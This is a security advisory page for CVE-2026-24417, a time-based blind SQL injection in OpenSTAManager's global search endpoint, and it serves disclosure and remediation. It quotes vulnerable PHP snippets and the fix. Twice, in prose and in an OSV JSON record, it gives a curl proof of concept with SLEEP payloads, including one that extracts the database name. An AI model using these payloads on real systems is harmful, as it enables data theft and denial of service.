CVE-2026-24417: Devcode it/openstamanager SQL Injection Vulnerability

HIGH
Advisory Identifier: GHSA-4hc4-8599-xh2h
CWE-89
Published
Advisory Summary

CVE-2026-24417 is a HIGH sql injection vulnerability (CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')) affecting Devcode it/openstamanager libraries in the Packagist ecosystem. The issue involves openstamanager has a time-based blind sql injection with amplified denial of service. Remediation is available in the latest vendor maintenance releases.

CVE-2026-24417 at a Glance

CVE Identifier CVE-2026-24417
GHSA Identifier GHSA-4hc4-8599-xh2h
Severity HIGH
CVSS v3.1 Base Score N/A
CWE Classification CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
Affected Product Devcode it/openstamanager
Package Ecosystem Packagist
Published Date
Last Updated

How to Fix CVE-2026-24417

To remediate this vulnerability, upgrade all affected Devcode it/openstamanager dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

devcode-it/openstamanager fixed: Latest secure release
Upgrade devcode-it/openstamanager to Latest secure release
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for devcode-it/openstamanager

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-24417, inspect your project dependencies for Devcode it/openstamanager:

inspect dependencies for devcode-it/openstamanager

Analyze the terminal output to locate any version of Devcode it/openstamanager in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than the patched release), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection'), where the product constructs all or part of an sql command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended sql command when it is sent to a downstream component. without sufficient removal or quoting of sql syntax in user-controllable inputs, the generated sql query can cause those inputs to be interpreted as sql instead of ordinary user data. In Devcode it/openstamanager, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary Critical Time-Based Blind SQL Injection vulnerability affecting **multiple search modules** in OpenSTAManager v2.9.8 allows authenticated attackers to extract sensitive database contents including password hashes, customer data, and financial records through time-based Boolean inference attacks with **amplified execution** across 10+ modules. **Status:** ✅ Confirmed and tested on live instance (v2.9.8) **Vulnerable Parameter:** `term` (GET) **Affected Endpoint:** `/ajax_search.php` **Affected Modules:** Articoli, Ordini, DDT, Fatture, Preventivi, Anagrafiche, Impianti, Contratti, Automezzi, Interventi ### Details OpenSTAManager v2.9.8 contains a critical Time-Based Blind SQL Injection vulnerability in the global search functionality. The application fails to properly sanitize the `term` parameter before using it in SQL LIKE clauses across multiple module-specific search handlers, allowing attackers to inject arbitrary SQL commands and extract sensitive data through time-based Boolean inference. **Vulnerability Chain:** 1. **Entry Point:** `/ajax_search.php` (Line 30-31) ```php $term = get('term'); $term = str_replace('/', '\\/', $term); ``` The `$term` parameter undergoes minimal sanitization (only forward slash replacement). 2. **Distribution:** `/src/AJAX.php::search()` (Line 159-161) ```php $files = self::find('ajax/search.php'); array_unshift($files, base_dir().'/ajax_search.php'); foreach ($files as $file) { $module_results = self::getSearchResults($file, $term); ``` The unsanitized `$term` is passed to all module-specific search handlers. 3. **Execution:** `/src/AJAX.php::getSearchResults()` (Line 373) ```php require $file; ``` Each module's search.php file is included with `$term` variable in scope. 4. **Vulnerable SQL Queries:** Multiple modules directly concatenate `$term` without `prepare()` **All Affected Files (10+ vulnerable instances):** 1. **`/modules/articoli/ajax/search.php` - Line 51** (PRIMARY EXAMPLE) ```php foreach ($fields as $name => $value) { $query .= ' OR '.$value.' LIKE "%'.$term.'%"'; } $rs = $dbo->fetchArray($query); ``` **Impact:** Direct concatenation without `prepare()`, allows full SQL injection. 2. **`/modules/ordini/ajax/search.php` - Line 43, 47** ```php $query .= ' OR '.$value.' LIKE "%'.$term.'%"'; $query .= '... WHERE `mg_articoli`.`codice` LIKE "%'.$term.'%" OR `mg_articoli_lang`.`title` LIKE "%'.$term.'%"'; ``` 3. **`/modules/ddt/ajax/search.php` - Line 43, 47** ```php $query .= ' OR '.$value.' LIKE "%'.$term.'%"'; ``` 4. **`/modules/fatture/ajax/search.php` - Line 45, 49** ```php $query .= ' OR '.$value.' LIKE "%'.$term.'%"'; ``` 5. **`/modules/preventivi/ajax/search.php` - Line 45, 49** ```php $query .= ' OR '.$value.' LIKE "%'.$term.'%"'; ``` 6. **`/modules/anagrafiche/ajax/search.php` - Line 62, 107, 162** ```php $query .= ' OR '.$value.' LIKE "%'.$term.'%"'; ``` 7. **`/modules/impianti/ajax/search.php` - Line 46** ```php $query .= ' OR '.$value.' LIKE "%'.$term.'%"'; ``` **Properly Sanitized (NOT vulnerable):** - `/modules/contratti/ajax/search.php` - Uses `prepare()` correctly - `/modules/automezzi/ajax/search.php` - Uses `prepare()` correctly **Note:** The vulnerability has **amplified execution** - a single malicious request triggers SQL Injection across ALL vulnerable modules simultaneously, causing time-based attacks to execute 10+ times per request, multiplying the delay and leading to **504 Gateway Time-out** errors as observed on the live demo instance. <img width="1899" height="349" alt="image" src="https://github.com/user-attachments/assets/a6cc5a75-0f4e-4f49-a750-7ae72a363bbe" /> ### PoC **Step 1: Login** ```bash curl -c /tmp/cookies.txt -X POST 'http://localhost:8081/index.php?op=login' \ -d 'username=admin&password=admin' ``` **Step 2: Verify Vulnerability (Time-Based SLEEP)** ```bash # Test with SLEEP(1) - should take ~85+ seconds due to amplified execution time curl -s -b /tmp/cookies.txt \ 'http://localhost:8081/ajax_search.php?term=%22%20AND%200%20OR%20SLEEP(1)%20OR%20%22' # Result: real 72.29s # Test with SLEEP(0) - should be fast time curl -s -b /tmp/cookies.txt \ 'http://localhost:8081/ajax_search.php?term=%22%20AND%200%20OR%20SLEEP(0)%20OR%20%22' # Result: real 0.30s ``` <img width="727" height="319" alt="image" src="https://github.com/user-attachments/assets/6022de5e-de91-4ebb-b02a-30358c31d96d" /> **Step 3: Data Extraction - Database Name** ```bash # Extract first character of database name (expected: 'o' from 'openstamanager') time curl -s -b /tmp/cookies.txt \ "http://localhost:8081/ajax_search.php?term=%22%20AND%20SUBSTRING(DATABASE(),1,1)=%27o%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)%20OR%20%221%22=%221" \ > /dev/null # Result: real 170.32s # Test with wrong character 'x' - should be fast time curl -s -b /tmp/cookies.txt \ "http://localhost:8081/ajax_search.php?term=%22%20AND%20SUBSTRING(DATABASE(),1,1)=%27x%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)%20OR%20%221%22=%221" \ > /dev/null # Result: real 0m0.30s ``` <img width="1364" height="349" alt="image" src="https://github.com/user-attachments/assets/a1d8a7d8-bb1a-49cd-8400-136ae5e359f1" /> ### Impact **Affected Users:** All authenticated users with access to the global search functionality. - Complete database exfiltration including customer PII, financial records, business secrets - Extraction of password hashes for offline cracking - Amplified time-based attacks consume 85x server resources per request **Recommended Fix:** Replace all instances of direct `$term` concatenation with `prepare()`: **BEFORE (Vulnerable):** ```php $query .= ' OR '.$value.' LIKE "%'.$term.'%"'; ``` **AFTER (Fixed):** ```php $query .= ' OR '.$value.' LIKE '.prepare('%'.$term.'%'); ``` **Apply this fix to ALL affected files:** 1. `/modules/articoli/ajax/search.php` - Line 51 2. `/modules/ordini/ajax/search.php` - Lines 43, 47, 79 3. `/modules/ddt/ajax/search.php` - Lines 43, 47, 83 4. `/modules/fatture/ajax/search.php` - Lines 45, 49, 85 5. `/modules/preventivi/ajax/search.php` - Lines 45, 49, 83 6. `/modules/anagrafiche/ajax/search.php` - Lines 62, 107, 162 7. `/modules/impianti/ajax/search.php` - Line 46

CVE-2026-24417 Affected Devcode it/openstamanager Versions

1 component(s)
Product / Package Ecosystem Affected Versions Fixed Version
devcode-it/openstamanager
Packagist

References

Frequently Asked Questions

What is CVE-2026-24417?
CVE-2026-24417 is a security vulnerability in Devcode it/openstamanager involving OpenSTAManager has a Time-Based Blind SQL Injection with Amplified Denial of Service under CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection').
Which Devcode it/openstamanager versions are affected?
Affected versions include releases prior to current release patches across affected packages: devcode-it/openstamanager.
What version fixes CVE-2026-24417?
Upgrading to current release patches (or the latest patched release for your respective branch) resolves the vulnerability.
Is devcode-it/openstamanager affected?
Yes, devcode-it/openstamanager is affected in releases prior to Latest secure release. Upgrade your dependency to Latest secure release or later.
What CWE is associated with CVE-2026-24417?
CVE-2026-24417 is classified under CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') (The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data.).
How can I check Packagist dependencies for CVE-2026-24417?
Run the dependency tree command: 'inspect dependencies for devcode-it/openstamanager'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-4hc4-8599-xh2h",
  "modified" : "2026-02-10T01:17:19Z",
  "published" : "2026-02-06T18:23:14Z",
  "aliases" : [ "CVE-2026-24417" ],
  "summary" : "OpenSTAManager has a Time-Based Blind SQL Injection with Amplified Denial of Service",
  "details" : "### Summary\n\nCritical Time-Based Blind SQL Injection vulnerability affecting **multiple search modules** in OpenSTAManager v2.9.8 allows authenticated attackers to extract sensitive database contents including password hashes, customer data, and financial records through time-based Boolean inference attacks with **amplified execution** across 10+ modules.\n\n**Status:** ✅ Confirmed and tested on live instance (v2.9.8)\n**Vulnerable Parameter:** `term` (GET)\n**Affected Endpoint:** `/ajax_search.php`\n**Affected Modules:** Articoli, Ordini, DDT, Fatture, Preventivi, Anagrafiche, Impianti, Contratti, Automezzi, Interventi\n\n### Details\n\nOpenSTAManager v2.9.8 contains a critical Time-Based Blind SQL Injection vulnerability in the global search functionality. The application fails to properly sanitize the `term` parameter before using it in SQL LIKE clauses across multiple module-specific search handlers, allowing attackers to inject arbitrary SQL commands and extract sensitive data through time-based Boolean inference.\n\n**Vulnerability Chain:**\n\n1. **Entry Point:** `/ajax_search.php` (Line 30-31)\n   ```php\n   $term = get('term');\n   $term = str_replace('/', '\\\\/', $term);\n   ```\n   The `$term` parameter undergoes minimal sanitization (only forward slash replacement).\n\n2. **Distribution:** `/src/AJAX.php::search()` (Line 159-161)\n   ```php\n   $files = self::find('ajax/search.php');\n   array_unshift($files, base_dir().'/ajax_search.php');\n   foreach ($files as $file) {\n       $module_results = self::getSearchResults($file, $term);\n   ```\n   The unsanitized `$term` is passed to all module-specific search handlers.\n\n3. **Execution:** `/src/AJAX.php::getSearchResults()` (Line 373)\n   ```php\n   require $file;\n   ```\n   Each module's search.php file is included with `$term` variable in scope.\n\n4. **Vulnerable SQL Queries:** Multiple modules directly concatenate `$term` without `prepare()`\n\n**All Affected Files (10+ vulnerable instances):**\n\n1. **`/modules/articoli/ajax/search.php` - Line 51** (PRIMARY EXAMPLE)\n   ```php\n   foreach ($fields as $name => $value) {\n       $query .= ' OR '.$value.' LIKE \"%'.$term.'%\"';\n   }\n   $rs = $dbo->fetchArray($query);\n   ```\n   **Impact:** Direct concatenation without `prepare()`, allows full SQL injection.\n\n2. **`/modules/ordini/ajax/search.php` - Line 43, 47**\n   ```php\n   $query .= ' OR '.$value.' LIKE \"%'.$term.'%\"';\n   $query .= '... WHERE `mg_articoli`.`codice` LIKE \"%'.$term.'%\" OR `mg_articoli_lang`.`title` LIKE \"%'.$term.'%\"';\n   ```\n\n3. **`/modules/ddt/ajax/search.php` - Line 43, 47**\n   ```php\n   $query .= ' OR '.$value.' LIKE \"%'.$term.'%\"';\n   ```\n\n4. **`/modules/fatture/ajax/search.php` - Line 45, 49**\n   ```php\n   $query .= ' OR '.$value.' LIKE \"%'.$term.'%\"';\n   ```\n\n5. **`/modules/preventivi/ajax/search.php` - Line 45, 49**\n   ```php\n   $query .= ' OR '.$value.' LIKE \"%'.$term.'%\"';\n   ```\n\n6. **`/modules/anagrafiche/ajax/search.php` - Line 62, 107, 162**\n   ```php\n   $query .= ' OR '.$value.' LIKE \"%'.$term.'%\"';\n   ```\n\n7. **`/modules/impianti/ajax/search.php` - Line 46**\n   ```php\n   $query .= ' OR '.$value.' LIKE \"%'.$term.'%\"';\n   ```\n\n**Properly Sanitized (NOT vulnerable):**\n- `/modules/contratti/ajax/search.php` - Uses `prepare()` correctly\n- `/modules/automezzi/ajax/search.php` - Uses `prepare()` correctly\n\n**Note:** The vulnerability has **amplified execution** - a single malicious request triggers SQL Injection across ALL vulnerable modules simultaneously, causing time-based attacks to execute 10+ times per request, multiplying the delay and leading to **504 Gateway Time-out** errors as observed on the live demo instance.\n\n<img width=\"1899\" height=\"349\" alt=\"image\" src=\"https://github.com/user-attachments/assets/a6cc5a75-0f4e-4f49-a750-7ae72a363bbe\" />\n\n### PoC\n\n**Step 1: Login**\n```bash\ncurl -c /tmp/cookies.txt -X POST 'http://localhost:8081/index.php?op=login' \\\n  -d 'username=admin&password=admin'\n```\n\n**Step 2: Verify Vulnerability (Time-Based SLEEP)**\n```bash\n# Test with SLEEP(1) - should take ~85+ seconds due to amplified execution\ntime curl -s -b /tmp/cookies.txt \\\n  'http://localhost:8081/ajax_search.php?term=%22%20AND%200%20OR%20SLEEP(1)%20OR%20%22'\n# Result: real 72.29s\n\n# Test with SLEEP(0) - should be fast\ntime curl -s -b /tmp/cookies.txt \\\n  'http://localhost:8081/ajax_search.php?term=%22%20AND%200%20OR%20SLEEP(0)%20OR%20%22'\n# Result: real 0.30s\n```\n\n<img width=\"727\" height=\"319\" alt=\"image\" src=\"https://github.com/user-attachments/assets/6022de5e-de91-4ebb-b02a-30358c31d96d\" />\n\n\n**Step 3: Data Extraction - Database Name**\n```bash\n# Extract first character of database name (expected: 'o' from 'openstamanager')\ntime curl -s -b /tmp/cookies.txt \\\n  \"http://localhost:8081/ajax_search.php?term=%22%20AND%20SUBSTRING(DATABASE(),1,1)=%27o%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)%20OR%20%221%22=%221\" \\\n  > /dev/null\n# Result: real 170.32s\n\n# Test with wrong character 'x' - should be fast\ntime curl -s -b /tmp/cookies.txt \\\n  \"http://localhost:8081/ajax_search.php?term=%22%20AND%20SUBSTRING(DATABASE(),1,1)=%27x%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)%20OR%20%221%22=%221\" \\\n  > /dev/null\n# Result: real 0m0.30s\n```\n\n<img width=\"1364\" height=\"349\" alt=\"image\" src=\"https://github.com/user-attachments/assets/a1d8a7d8-bb1a-49cd-8400-136ae5e359f1\" />\n\n\n### Impact\n\n**Affected Users:** All authenticated users with access to the global search functionality.\n\n- Complete database exfiltration including customer PII, financial records, business secrets\n- Extraction of password hashes for offline cracking\n- Amplified time-based attacks consume 85x server resources per request\n\n**Recommended Fix:**\n\nReplace all instances of direct `$term` concatenation with `prepare()`:\n\n**BEFORE (Vulnerable):**\n```php\n$query .= ' OR '.$value.' LIKE \"%'.$term.'%\"';\n```\n\n**AFTER (Fixed):**\n```php\n$query .= ' OR '.$value.' LIKE '.prepare('%'.$term.'%');\n```\n\n**Apply this fix to ALL affected files:**\n1. `/modules/articoli/ajax/search.php` - Line 51\n2. `/modules/ordini/ajax/search.php` - Lines 43, 47, 79\n3. `/modules/ddt/ajax/search.php` - Lines 43, 47, 83\n4. `/modules/fatture/ajax/search.php` - Lines 45, 49, 85\n5. `/modules/preventivi/ajax/search.php` - Lines 45, 49, 83\n6. `/modules/anagrafiche/ajax/search.php` - Lines 62, 107, 162\n7. `/modules/impianti/ajax/search.php` - Line 46",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "devcode-it/openstamanager"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "< 2.9.8"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/devcode-it/openstamanager/security/advisories/GHSA-4hc4-8599-xh2h"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-24417"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/devcode-it/openstamanager"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-89" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-02-06T18:23:14Z",
    "nvd_published_at" : "2026-02-06T19:16:08Z"
  }
}